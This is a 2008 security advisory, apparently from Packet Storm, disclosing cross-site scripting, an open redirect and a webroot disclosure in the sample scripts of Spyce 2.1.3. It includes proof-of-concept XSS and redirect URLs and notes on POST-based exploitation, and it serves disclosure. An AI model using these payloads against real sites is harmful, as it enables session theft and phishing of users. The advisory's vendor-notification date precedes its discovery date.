ProCheckUp Security Advisory 2008.1

2008-02-20T00:00:00
ID PACKETSTORM:63816
Type packetstorm
Reporter ProCheckUp
Modified 2008-02-20T00:00:00

Description

                                        
                                            `PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure   
on Spyce - Python Server Pages (PSP)  
  
Vulnerability found: 19th December 2007  
  
Vendor informed: 14th January 2007  
  
Vulnerability fixed: the vendor did not respond, however a workaround   
has been included in the "Fix" section of this advisory.  
  
Severity: Medium  
  
Description:  
  
All Spyce sample scripts that return client-supplied input back to the   
browser are vulnerable to XSS. It is also possible to redirect users to   
third-party sites and obtain the webroot path by not submitting required   
parameters to certain scripts.  
  
  
Note: tested on Spyce - Python Server Pages version 2.1.3  
  
  
The following are only some examples that demonstrate XSS:  
  
http://domain.foo/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal  
http://domain.foo/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>  
http://domain.foo/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>  
http://domain.foo/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>  
http://domain.foo/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>  
http://domain.foo/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E  
  
  
Other vulnerable scripts and unsanitized parameters:  
  
Script: /demos/chat/  
parameter: newline  
  
Script: /docs/examples/formintro.spy  
parameter: text1  
  
Script: /docs/examples/formtag.spy  
parameter: mytext  
parameter: mydate  
  
Script: /docs/examples/redirect.spy  
parameter: type  
  
  
Note: some XSS can only be exploited via POST requests (as opposed to   
GET). This could be done by using an embedded HTML form with   
"method='POST'" attribute and a JavaScript snippet that causes the form   
to auto-submits itself. Such form would be located on a third-party site.  
  
  
Cross-domain redirect PoC:  
  
http://domain.foo/spyce/examples/redirect.spy?url=www.procheckup.com&type=external  
  
  
Requesting the following URL returns the server's webroot:  
  
http://domain.foo/spyce/examples/automaton.spy  
  
  
Consequences:  
  
An attacker may be able to cause execution of malicious scripting code   
in the browser of a user who clicks on a link to a Spyce-based site.   
Such code would run within the security context of the target domain.   
This type of attack can result in non-persistent defacement of the   
target site, or the redirection of confidential information (i.e.:   
session IDs) to unauthorised third parties.  
  
Attackers can redirect victim users to third-party sites. Such behaviour   
can help attackers perform phishing attacks by redirecting the victim to   
a spoof login page.  
  
  
Fix:  
  
Remove sample scripts from live environments.  
  
  
References:  
  
http://www.procheckup.com/Vulnerabilities.php  
http://spyce.sourceforge.net/  
  
  
Credits: Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd   
(www.procheckup.com)  
  
  
Legal:  
  
Copyright 2008 Procheckup Ltd. All rights reserved.  
  
Permission is granted for copying and circulating this Bulletin to the   
Internet community for the purpose of alerting them to problems, if and   
only if, the Bulletin is not edited or changed in any way, is attributed   
to Procheckup, and provided such reproduction and/or distribution is   
performed for non-commercial purposes.  
  
Any other use of this information is prohibited. Procheckup is not   
liable for any misuse of this information by any third party.  
  
`